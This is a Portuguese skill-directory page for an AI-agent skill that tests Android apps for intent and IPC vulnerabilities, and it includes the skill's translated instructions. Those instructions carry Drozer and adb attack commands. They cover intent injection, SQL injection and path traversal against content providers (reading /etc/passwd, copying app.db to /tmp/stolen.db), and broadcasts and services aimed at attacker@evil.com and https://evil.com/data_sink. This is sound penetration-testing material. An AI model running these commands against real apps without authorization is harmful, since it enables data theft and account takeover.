Pular para o conteúdo
Skillpedia
Testes35 mil · #6213

testing-android-intents-for-vulnerabilities

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta verifica se um aplicativo Android tem falhas de segurança que permitem que outros aplicativos acessem informações ou executem ações indevidas. Ela testa como os aplicativos se comunicam entre si.

Quando usar

  • ✓Ao testar a segurança de um aplicativo Android.
  • ✓Quando você suspeita que um aplicativo pode vazar dados.
  • ✓Para verificar se um aplicativo pode ser controlado por outro malicioso.

Exemplo do que pedir para a IA

“Verifique se o aplicativo 'MeuApp' tem falhas de segurança na comunicação entre aplicativos.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa outras ferramentas para examinar os componentes do aplicativo que podem ser acessados por outros. Ela tenta enviar comandos e verificar se há vazamento de dados ou acesso não autorizado.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-android-intents-for-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Intents do Android para Vulnerabilidades

Quando Usar

Use esta habilidade quando:

  • Avaliando atividades, serviços, receptores e provedores de conteúdo exportados de aplicativos Android
  • Testando injeção de intent e invocação não autorizada de componentes
  • Avaliando a segurança de receptores de broadcast para exposição de dados sensíveis
  • Realizando testes de penetração focados em IPC em aplicativos Android

Não use em dispositivos de produção sem autorização explícita.

Pré-requisitos

  • Dispositivo Android com root ou emulador com ADB
  • Agente Drozer instalado no dispositivo alvo (drozer agent.apk)
  • Console Drozer no host (pip install drozer)
  • APK alvo descompilado com apktool para análise do AndroidManifest.xml
  • Frida para monitoramento de intents em tempo de execução

Fluxo de Trabalho

Passo 1: Enumerar Componentes Exportados

# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app

Passo 2: Testar Atividades Exportadas

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass

Passo 3: Testar Receptores de Broadcast

# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

Passo 4: Testar Provedores de Conteúdo

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

Passo 5: Testar Vulnerabilidades de Pending Intent

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

Passo 6: Testar Vinculação de Serviço

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

Conceitos Chave

Termo Definição
Componente Exportado Componente Android (atividade/serviço/receptor/provedor) acessível a outros aplicativos no dispositivo

…

Perguntas frequentes

O que são 'Intents'?

Intents são como mensagens que um aplicativo envia para outro pedindo para fazer algo ou para compartilhar informações.

O que significa 'componente exportado'?

Um componente exportado é uma parte do aplicativo que outros aplicativos no celular podem acessar e usar.

Preciso ser um especialista para usar isso?

Não é necessário ser um programador, mas é preciso ter um conhecimento básico de como os aplicativos Android funcionam e como usar ferramentas de linha de comando.

Detalhes

Descrição original do autor

Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6213
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas